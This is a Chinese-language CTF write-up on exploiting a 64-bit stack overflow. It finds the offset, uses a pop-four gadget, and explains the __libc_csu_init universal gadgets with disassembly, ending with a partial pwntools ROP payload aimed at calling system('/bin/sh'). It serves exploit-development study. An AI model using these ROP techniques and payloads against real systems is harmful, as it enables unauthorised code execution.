文章目录
前言
这一题做的时间跨度比较长了,断断续续做了一天多,然后尝试了两种方式,一种是DynELF泄露system地址,还有一种是利用python的LibcSearcher模块得到libc偏移再进一步获取system的libc地址。
思路分析
0x00.检查保护机制
感觉是栈溢出然后构造ROP来getshell。
0x01.找到溢出点
read函数是不能溢出的,进echo函数查看,发现echo函数开辟的大小只有0x20,但是buf可以写入的有0x400字节,buf复制到echo,显然可以发生溢出。
利用cyclic计算得出溢出需要24字节。
0x02.跳过echo在buf上构造rop
我们可以发现在echo函数内部,有一个循环判断,a1[i]!=’\x00’,否则会发生截断。但是构造rop需要传递地址,一般都会有’\x00’存在,故不能直接构造rop。
ida查看echo函数的结束地址之后就是read(&buf)的地址。
又因为echo开辟的空间是0x20,故echo开始处跳0x20个字节即能到buf处。
buf上有0x400大小可以布置ROP。
一次rop是8字节,找一个gadget执行四次pop即可。
0x03.选择合适的gadgets
pop4_addr=0x40089c
0x04.万能的通用gadgets
剩下的ROP链可以用通用gadgets来实现。
这里涉及到X64下面的一些万能gadgets,原因在于__libc_csu_init()函数。
一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
汇编代码如下:
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。
call system("/bin/sh")
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0)